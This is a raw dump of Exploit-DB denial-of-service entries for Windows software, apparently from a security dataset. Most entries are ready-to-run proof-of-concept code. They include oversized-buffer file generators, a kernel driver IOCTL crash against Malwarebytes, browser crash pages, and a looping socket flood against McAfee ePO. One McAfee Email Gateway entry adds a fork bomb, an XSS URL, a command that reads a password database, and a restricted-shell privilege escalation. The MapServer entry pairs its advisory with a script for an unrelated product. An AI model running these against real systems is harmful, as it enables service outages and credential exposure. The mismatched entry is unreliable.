deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35842
Description: Malwarebytes Anti-Exploit 1.03.1.1220/1.04.1.1012 - Out-of-Bounds Read Denial of Service
Type: dos
Platform: windows
Date: 2015-01-20
Author: Parvez Anwar

Exploit:
/*

Exploit Title    - MalwareBytes Anti-Exploit Out-of-bounds Read DoS
Date             - 19th January 2015
Discovered by    - Parvez Anwar (@parvezghh)
Vendor Homepage  - https://www.malwarebytes.org
Tested Version   - 1.03.1.1220, 1.04.1.1012
Driver Version   - no version set - mbae.sys
Tested on OS     - 32bit Windows XP SP3 and Windows 7 SP1
OSVDB            - http://www.osvdb.org/show/osvdb/114249
CVE ID           - CVE-2014-100039
Vendor fix url   - https://forums.malwarebytes.org/index.php?/topic/158251-malwarebytes-anti-exploit-hall-of-fame/
Fixed version    - 1.05
Fixed driver ver - no version set

*/



#include <stdio.h>
#include <windows.h>

#define BUFSIZE 25


int main(int argc, char *argv[]) 
{
    HANDLE         hDevice;
    char           devhandle[MAX_PATH];
    DWORD          dwRetBytes = 0;
    BYTE           sizebytes[4] = "\xff\xff\xff\x00";   
    BYTE           *inbuffer;


    printf("-------------------------------------------------------------------------------\n");
    printf("        MalwareBytes Anti-Exploit (mbae.sys) Out-of-bounds Read DoS            \n");
    printf("             Tested on Windows XP SP3/Windows 7 SP1 (32bit)                    \n");
    printf("-------------------------------------------------------------------------------\n\n");

    sprintf(devhandle, "\\\\.\\%s", "ESProtectionDriver");

    inbuffer = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    memset(inbuffer, 0x41, BUFSIZE);
    memcpy(inbuffer, sizebytes, sizeof(sizebytes));

    printf("\n[i] Size of total buffer being sent %d bytes", BUFSIZE);

    hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    
    if(hDevice == INVALID_HANDLE_VALUE)
    {
        printf("\n[-] Open %s device failed\n\n", devhandle);
        return -1;
    }
    else 
    {
        printf("\n[+] Open %s device successful", devhandle);
    }	

    printf("\n[~] Press any key to DoS . . .");
    getch();

    DeviceIoControl(hDevice, 0x0022e000, inbuffer, BUFSIZE, NULL, 0, &dwRetBytes, NULL);

    printf("\n[+] DoS buffer sent\n\n");
 
    CloseHandle(hDevice);

    return 0;
}
Exploit-DB #38858
Description: Malwarebytes AntiVirus 2.2.0 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2015-12-03
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   Malwarebytes Antivirus
Platforms:   Windows
Versions:   2.2.0.
CVE:   No CVE have been assigned
Author:   Francis Provencher of COSIG
Twitter:   @COSIG_
#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

Malwarebytes Anti-Malware (MBAM) is an application for computers running under the Microsoft Windows and Apple OS Xoperating system that finds and removes malware.[3] Made by Malwarebytes Corporation, it was first released in January 2008. It is available in a free version, which scans for and removes malware when started manually, and a paid version, which additionally provides scheduled scans, real-time protection and a flash memory scanner.

(http://www.oracle.com/us/technologies/embedded/025613.htm)

#####################################################################################

============================
2) Report Timeline
============================

2015-11-28: Francis Provencher of COSIG found the issue;
2015-11-30: Francis Provencher of COSIG report vulnerability to Malwarebytes;
2015-12-02: Malwarebytes release a patch for this issue;

#####################################################################################

============================
3) Technical details
============================

When a malformed executable with an invalid integer (-1) in the “SizeOfRawData” in UPX section is parsed by Malwarebytes, a memory corruption occured. Successful exploitation of the vulnerabilities may allow execution of arbitrary code.

#####################################################################################

===========

4) POC
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38858.exe
Exploit-DB #49566
Description: Managed Switch Port Mapping Tool 2.85.2 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2021-02-16
Author: Ismael Nava

Exploit:
# Exploit Title: Managed Switch Port Mapping Tool 2.85.2 - Denial of Service (PoC)
# Date: 2021-02-15
# Exploit Author: Ismael Nava
# Vendor Homepage: https://switchportmapper.com/
# Software Link: https://switchportmapper.com/download.htm
# Version: 2.85.2
# Tested on: Windows 10 Home x64


#STEPS
# Open the program Managed Switch Port Mapping Tool
# In the left side select Settings from Router/Srvr 1 (for layer 2 Switches)
# Run the python exploit script, it will create a new .txt files
# Copy the content of the file "Gou.txt"
# Paste the content in the field IP Address and SNMP v1/v2c Read Community Name 
# Click in OK
# End :)


buffer = 'F' * 10000

try: 
    file = open("Gou2.txt","w")
    file.write(buffer)
    file.close()

    print("Archive ready")
except:
    print("Archive no ready")
Exploit-DB #36092
Description: MapServer 6.0 - '.Map' File Double-Free Remote Denial of Service
Type: dos
Platform: windows
Date: 2011-08-30
Author: rouault

Exploit:
source: https://www.securityfocus.com/bid/49374/info

MapServer is prone to a remote denial-of-service vulnerability due to a double free condition.

Attackers can exploit this issue to crash the application, denying service to legitimate users. Due to the nature of this issue, code execution may be possible; however, this has not been confirmed.

Versions prior to MapServer 6.0.1 are vulnerable. 

#!/usr/bin/perl
 
print q(
########################################################
# home : http://www.D99Y.com 
# Date : 9/8/2011 
# Author : NassRawI 
# Software Link : http://www.acoustica.com/mixcraft/
# Version : v1.00 Build 10 
# Tested on : Windows XP SP2
########################################################
);
 
my $file= "crash.mxc";
my $junk= "\x64\x39\x39\x79\x2e\x63\x6f\x6d" x 1000 ;
open(d99y,">$file");
print d99y $junk ;
close(d99y);
print "\n [ # ] Vulnerable File Created !\n"
Exploit-DB #38259
Description: MASM32 11R - Crash (PoC)
Type: dos
Platform: windows
Date: 2015-09-22
Author: VIKRAMADITYA

Exploit:
# EXPLOIT TITLE: Masm32v11r Buffer Overflow(SEH overwrite) crash POC
# AUTHOR: VIKRAMADITYA "-OPTIMUS"
# Date of Testing: 22nd September 2015
# Download Link : http://www.masm32.com/masmdl.htm
# Tested On : Windows 10 
# Steps to Crash :-
# Step 1: Execute this python script
# Step 2: This script will create a file called MASM_crash.txt
# Step 3: Now open Masm32's QUICK EDITOR  
# Step 4: Go to Script > 'Convert Text to Script'
# Step 5: Open the MASM_crash.txt to convert 
# Step 6: That should crash the program .  


file = open('MASM_crash.txt' , 'w');
buffer = "A"*4676 + "B"*4 + "C"*4 + "D"*500
file.write(buffer);
file.close()
Exploit-DB #34872
Description: MASS PLAYER 2.1 - File Processing Remote Denial of Service
Type: dos
Platform: windows
Date: 2010-10-19
Author: Sweet

Exploit:
source: https://www.securityfocus.com/bid/44220/info

MASS PLAYER is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause the affected application to crash, denying service to legitimate users.

MASS PLAYER 2.1 is vulnerable; other versions may also be affected. 

#Exploit Title :MASS PLAYER 2.1 Denial of service vulnerability
#Software : MASS PLAYER 2.1
#Software link :http://sourceforge.net/projects/massmusicplayer/
#Autor : Sweet
#Email : charif38@hotmail.fr
#Date  : 19/10/2010
#Software version : 2.1
#Tested on : WinXP sp3 ENG
#!/usr/bin/python
#thx to Milw0rm.com , JF - Hamst0r - Keystroke) R.I.P  , inj3ct0r.com ,  exploit-db.com, packetstormsecurity.org, http://ha.ckers.org
#et 1,2,3 viva L'Algerie
outfile="crash.mp3"
junk="\x41" * 7000
FILE=open(outfile, "w")
FILE.write(junk)
FILE.close()
Exploit-DB #20017
Description: Max Feoktistov Small HTTP server 1.212 - Buffer Overflow
Type: dos
Platform: windows
Date: 2000-06-16
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/1355/info

A buffer overflow is present in certain versions of the Small HTTP Server . The overflow in question is triggered by an overlong (65000 or more characters) malformed HTTP GET request to the webserver. 
                                                                      
#!/usr/bin/python                                                     
#                                                                     
# Small HTTP Server DoS Proof of Concept Code.                        
# Vulnerability Discovered by USSR Labs(http://www.ussrback.com)      
# Simple Script by Prizm(Prizm@Resentment.org)                        
#                                                                     
# By connecting to port 80(http) on a system running Small HTTP Server
and issuing a GET                                                     
# command followed by 65000 bytes, the service will crash.            
#                                                                     
# This *simple* little script will cause http.exe to crash.           
                                                                      
import httplib                                                        
                                                                      
h = httplib.HTTP('xxx.xxx.xxx.xxx') #replace x's with ip              
h.putrequest('GET', 'A' * 65000)                                      
                                                                      
#end
Exploit-DB #15394
Description: Maxthon 3.0.18.1000 - CSS Denial of Service
Type: dos
Platform: windows
Date: 2010-11-02
Author: 4n0nym0us

Exploit:
# 
######################################################################################### 
#                                                                                       # 
#  Title: Maxthon 3.0.18.1000 CSS Denial of Service Vulnerability                       # 
#  Author: 4n0nym0us (Arash Sa'adatfar)                                                 # 
#  Developer: Maxthon International                                                     # 
#  Version:3.0.18                                                                       # 
#  Software Link: http://dl.maxthon.com/mx3/mx3.0.18.1000.exe                           # 
#                                                                                       # 
#  Tested On: Windows 7 Ultimate 32-bit                                                 # 
#                                                                                       # 
######################################################################################### 
# 
#!/usr/bin/perl 
my $file= "Crash.html"; 
my $junk= "A/" x 10000000;  
open($FILE,">$file"); 
print $FILE "<html>\n<head>\n<style type='text/css'>\nbody {alink: ".$junk."}\n</style>\n</head>\n</html>"; 
print "\nCrash.html File Created successfully\n"; 
close($FILE);
Exploit-DB #6434
Description: Maxthon Browser 2.1.4.443 - Unicode Remote Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2008-09-11
Author: LiquidWorm

Exploit:
<!--

 Maxthon Browser 2.1.4.443 UNICODE Remote Denial of Service PoC

 Summary: Maxthon Browser is a powerful tabbed browser built for
 all users. Besides basic browsing functionality, Maxthon Browser
 provides a rich set of features to improve your surfing experience.

 Product web page: http://www.maxthon.com

 by Gjoko 'LiquidWorm' Krstic

 liquidworm [t00t] gmail [d0t] com

 http://www.zeroscience.org

 09.09.2008

-->


<html>

<title>Maxthon Browser 2.1.4.443 UNICODE Remote Denial of Service PoC</Title>

<head>

<body>

<script type="text/javascript">

alert("Maxthon Browser 2.1.4.443 UNICODE Remote Denial of Service PoC\n\n\t\tby LiquidWorm");

function thricer()
{
	title="Attack";

	url="http://www.thrice.net/";

	if (window.sidebar)
	{
		window.sidebar.addPanel(title, url,"");
	} 
		
		else if( window.external )
		{
			window.external.AddFavorite( url, title);
		}
	
			else if(window.opera && window.print)
			{
				return (true);
			}
}

var answ = confirm("Press OK to start exploitation\nPress Cancel to skip exploitation");

if (answ == true) 
{
	for (x=0; x<x+1; x++)

	thricer();
}

	else
	{
		alert("Allrighty Then!");

		window.location.href = "http://www.disneyland.com";
	}

</script>

</body>

</head>

</html>

# milw0rm.com [2008-09-11]
Exploit-DB #16084
Description: Maxthon Browser 3.0.20.1000 - ref / replace Denial of Service
Type: dos
Platform: windows
Date: 2011-01-30
Author: Carlos Mario Penagos Hollmann

Exploit:
<html>
<head>
 
 
# Exploit Title: Maxthon Browser v3.0.20.1000 .ref .replace DOS
# Date: January 30 2011
# Author: Carlos Mario Penagos Hollmann
# Software Link: http://dl.maxthon.com/mx3/mx3.0.20.3000.exe
# Version: v3.0.20.1000 
# Tested on: Windows xp sp3 ,windows 7 ,linux running on VMware Fusion 3.1 and VirtualBox 3.2.8
  
  
#  mail----> shogilord^gmail.com spams are welcome!!!!!
#    ________  _    _________   ____ __ _____   ________
#   / ____/ / | |  / / ____/ | / / //_//  _/ | / / ____/
#  / __/ / /  | | / / __/ /  |/ / ,<   / //  |/ / / __
# / /___/ /___| |/ / /___/ /|  / /| |_/ // /|  / /_/ /
#/_____/_____/|___/_____/_/ |_/_/ |_/___/_/ |_/\____/ 
  
# COLOMBIA hacking presents.............
#    
# MAxthon Check the .replace and .ref ;)
#

 
<script type="text/javascript">
 
function mul(str,count){
    if(count==0) return '';
    var binaryCount = count.toString(2);
    var numDegree = binaryCount.length;
    var resultStr='';
    for(var i=0; i<numDegree; i++){
        resultStr+=resultStr; 
        if(binaryCount.charAt(i) == '1'){
            resultStr+=str;
        }
    }
    return resultStr;
}
 
var junka = "a";
 
var junk = mul(junka,2304453);
 
//window.location.href = "http://" + junk;
 
window.location.replace("http://" + junk);
 
</script>
</head>
<body>
 
</body>
</html>
Exploit-DB #33819
Description: McAfee Email Gateway < 6.7.2 Hotfix 2 - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2010-04-06
Author: Nahuel Grisolia

Exploit:
source: https://www.securityfocus.com/bid/39242/info

McAfee Email Gateway (formerly IronMail) is prone to multiple vulnerabilities, including:

A local privilege-escalation vulnerability
A denial-of-service vulnerability.
Multiple cross-site scripting vulnerabilities
An information-disclosure vulnerability

An attacker may leverage these issues to completely compromise affected computers, execute arbitrary commands and script code, steal cookie-based authentication credentials, crash the affected application and gain access to sensitive information. Other attacks are also possible.

Versions prior to McAfee Email Gateway 6.7.2 Hotfix 2 are vulnerable. 


Denial of Service:

* In order to run the DoS, follow the steps below:
[Secure Mail]: command rbash –noprofile
[Secure Mail]: :(){:|:&};:

Cross-site scripting 

https://www.example.com/admin/queuedMessage.do?method=getQueueMessages&queueMsgType=<script>alert("XSS");</script>&QtnType=9

Information Disclosure

[Secure Mail]: command rbash –noprofile
[Secure Mail]: grep -a '.*' /etc/pwd.db

Local Privilege-Escalation: 

[Secure Mail]: command rbash –noprofile
[Secure Mail]: declare -x USER="admin"
If you want to check the new privilege:
[Secure Mail]: cmd_admin set user unlock
*** Invalid command: Usage - set user unlock <USER ID> ***
[Secure Mail]: cmd_admin set user unlock admin
Cannot unlock yourself.
[Secure Mail]: exi
Exploit-DB #5343
Description: Mcafee EPO 4.0 - 'FrameworkService.exe' Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-04-02
Author: muts

Exploit:
#!/usr/bin/python
# Mcafee EPO 4.0 (and others) FrameworkService.exe DOS
# More than meets the eye
# Discovered and coded by Mati Aharoni
# muts..at..offensive-security.com
# http://www.offensive-security.com/0day/mcafee_again.py.txt


# EAX 00840C30
# ECX 00837830
# EDX 01EACF18
# EBX 00004000
# ESP 01EAFF04
# EBP 01EAFF38
# ESI 00837830
# EDI 643AC780 naCmnLib.CnaLogger::AddMessageA
# EIP 42424242

import socket
import os
import sys
from time import sleep

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect ( ( sys.argv[1], 8081 ) )
buff="B"*96000+" HTTP/1.1\r\n"
req= buff+ "+'/spin//AVClient//AVClient.csp HTTP/1.1\r\nHost: 192.168.1.10:20\r\n\r\n\r\n"
expl.send (req)
#data=expl.recv(1024)
#print data
expl.close()

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect ( ( sys.argv[1], 8081 ) )
buff="B"*96000+" HTTP/1.1\r\n"
req= buff+ "+'/spin//AVClient//AVClient.csp HTTP/1.1\r\nHost: 192.168.1.10:20\r\n\r\n\r\n"
expl.send (req)
#data=expl.recv(1024)
#print data
expl.close()

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect ( ( sys.argv[1], 8081 ) )
buff="B"*96000+" HTTP/1.1\r\n"
req= buff+ "+'/spin//AVClient//AVClient.csp HTTP/1.1\r\nHost: 192.168.1.10:20\r\n\r\n\r\n"
expl.send (req)
#data=expl.recv(1024)
#print data
expl.close()

while 1:

	expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
	expl.connect ( ( sys.argv[1], 8081 ) )
	buff="B"*243
	req= buff +' /spin//AVClient//AVClient.csp HTTP/1.1\r\nHost: 192.168.1.10:20\r\nUser-Agent: Mozilla/4.0 (Linux 2.6.21.5) Java/1.5.0_02\r\n\r\n'
	expl.send (req)
	expl.send (req)
	expl.send (req)
	expl.send (req)
	expl.send (req)
	expl.send (req)
	expl.send (req)
	expl.send (req)
	expl.send (req)
	expl.send (req)
	expl.send (req)
	expl.send (req)
	data=expl.recv(1024)
	print data
	expl.close()

	sleep(0.1)

# milw0rm.com [2008-04-02]
Exploit-DB #31399
Description: McAfee Framework ePolicy 3.x - Orchestrator '_naimcomn_Log' Remote Format String
Type: dos
Platform: windows
Date: 2008-03-12
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/28228/info

McAfee Framework is prone to a remote format-string vulnerability.

Exploiting this issue will allow attackers to execute arbitrary code with the permissions of the framework or of an application that uses the framework. Failed attacks will likely cause denial-of-service conditions.
McAfee Common Managemetn Agent 3.6.0.574 (Patch3) or earlier, McAfee Agent (MA) 4.0, Framework 2.6.0.569 and ePolicy Orchestrator 4.0 are vulnerable to this issue; other versions may also be affected.

NOTE: This issue occurs only when the default debug level (7) is raised to 8. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31399.zip
Exploit-DB #39770
Description: McAfee LiveSafe 14.0 - Relocations Processing Memory Corruption
Type: dos
Platform: windows
Date: 2016-05-04
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=817

Fuzzing packed executables with McAfee's LiveSafe 14.0 on Windows found a signedness error parsing sections and relocations. The attached fuzzed testcase demonstrates this and causes a crash in mscan64a.dll. I verified that this crash reproduces on Linux and Windows, all version of McAfee appear to be affected including the embedded version and the SDK.

Naturally, this code runs as SYSTEM on Windows, with no sandboxing and is used to parse untrusted remote input.

0:045> .lastevent
Last event: d34.13a4: Access violation - code c0000005 (first chance)
  debugger time: Tue Apr  5 15:02:40.009 2016 (UTC - 7:00)
0:045> r
rax=[PII_REDACTED]6f1000 rbx=[PII_REDACTED]6f1000 rcx=00000000ffffffff
rdx=[PII_REDACTED]1d114f rsi=[PII_REDACTED]1d1150 rdi=[PII_REDACTED]6f4000
rip=[PII_REDACTED]1a36fa rsp=[PII_REDACTED]4748a0 rbp=[PII_REDACTED]1ca880
 r8=[PII_REDACTED]0005d3  r9=[PII_REDACTED]6f0fff r10=8d00008661e82404
r11=[PII_REDACTED] r12=[PII_REDACTED]6f4000 r13=[PII_REDACTED]47917c
r14=[PII_REDACTED]70c1b8 r15=[PII_REDACTED]1ca698
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
mscan64a!RetrieveSingleExtensionList+0x19844a:
00000000`711a36fa 0fb64a01        movzx   ecx,byte ptr [rdx+1] ds:00000001`031d1150=??

Okay, what happened there?

0:007> ub 
mscan64a!RetrieveSingleExtensionList+0x198437:
00000000`71fd36e7 8b45c8          mov     eax,dword ptr [rbp-38h]
00000000`71fd36ea 8b08            mov     ecx,dword ptr [rax]
00000000`71fd36ec 8d4101          lea     eax,[rcx+1]
00000000`71fd36ef 3bc7            cmp     eax,edi
00000000`71fd36f1 7332            jae     mscan64a!RetrieveSingleExtensionList+0x198475 (00000000`71fd3725)
00000000`71fd36f3 2bcb            sub     ecx,ebx
00000000`71fd36f5 8bd1            mov     edx,ecx
00000000`71fd36f7 4803d6          add     rdx,rsi
0:007> dd @rbp-38 L1
00000000`0c529018  0c52d7ac
0:007> dd 0c52d7ac L1
00000000`0c52d7ac  90000fff

So it looks like that calculation is used as an index into @rsi, which is obviously going to be oob.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39770.zip
Exploit-DB #3890
Description: McAfee VirusScan 10.0.21 - ActiveX control Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-05-09
Author: callAX

Exploit:
<html>

<head><title> Proof of Concept -> Mc Afee Viruscan Stack Overflow v10.0.21</title>

</head>

<h4>Proof of Concept -> Mc Afee Viruscan Stack Overflow v10.0.21

http://download.mcafee.com/fr/ author -> callAX

mail -> callax@shellcode.com.ar

Url -> http://www.shellcode.com.ar / http://www.securenetworks.ch</h3>

 

<object classid='clsid:9BE8D7B2-329C-442A-A4AC-ABA9D7572602' id='Crash' ></object>

<input type="button" value="CrAsh-m3 No \/\/" language="VBScript" OnClick="CrAsHm3()">

 

<script language="VBScript">

sub CrAsHm3()

 Arg0 = String(150000000,"S")

 Arg1 = String(3000, "x")

 Crash.GetUserRegisteredForBackend Arg0, Arg1

End Sub

 

</script>

</html>

<!--
Bad method -> GetUserRegisteredForBackend

Function GetUserRegisteredForBackend (

            ByVal bstrBackend  As String , <-- Bad Buffer

            ByRef pvarAccountId  As Variant

)
-->

# milw0rm.com [2007-05-09]
Exploit-DB #1222
Description: MCCS (Multi-Computer Control Systems) Command - Denial of Service
Type: dos
Platform: windows
Date: 2005-09-19
Author: basher13

Exploit:
#!usr/bin/perl
#
# MCCS Server\Client Command DOS Exploit
# --------------------------------------
#  Infam0us Gr0up - Securiti Research
#
# Info: infamous.2hell.com
# Vendor URL: www.xclusive-software.com
#


use IO::Socket;

print("\n  MCCS Command DOS Exploit\n");
print("-----------------------------\n");

$str = "\x41";
if($#ARGV < 0 | $#ARGV > 1) {
die "usage: perl $0 [IP/host] \nExam: perl $0 127.0.0.1 \n" };

$adr = $ARGV[0];
$prt = "\x38\x30";

print "[+] Connect to host..\n";
sleep 2;
$remote = IO::Socket::INET->new(Proto=>"\x75\x64\x70", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "[-] Error: can't connect to $adr:$prt\n";
print "[+] Connected\n";
$remote->autoflush(1);
print "[+] Sending bad string..\n";
sleep 2;
print $remote "$str" or die "[-] Error: can't send string code\n";
print "[*] Client Server SHUTDOWNED!\n\n";
print "press any key to exit..\n";
$bla= <STDIN>;
close $remote;

# milw0rm.com [2005-09-19]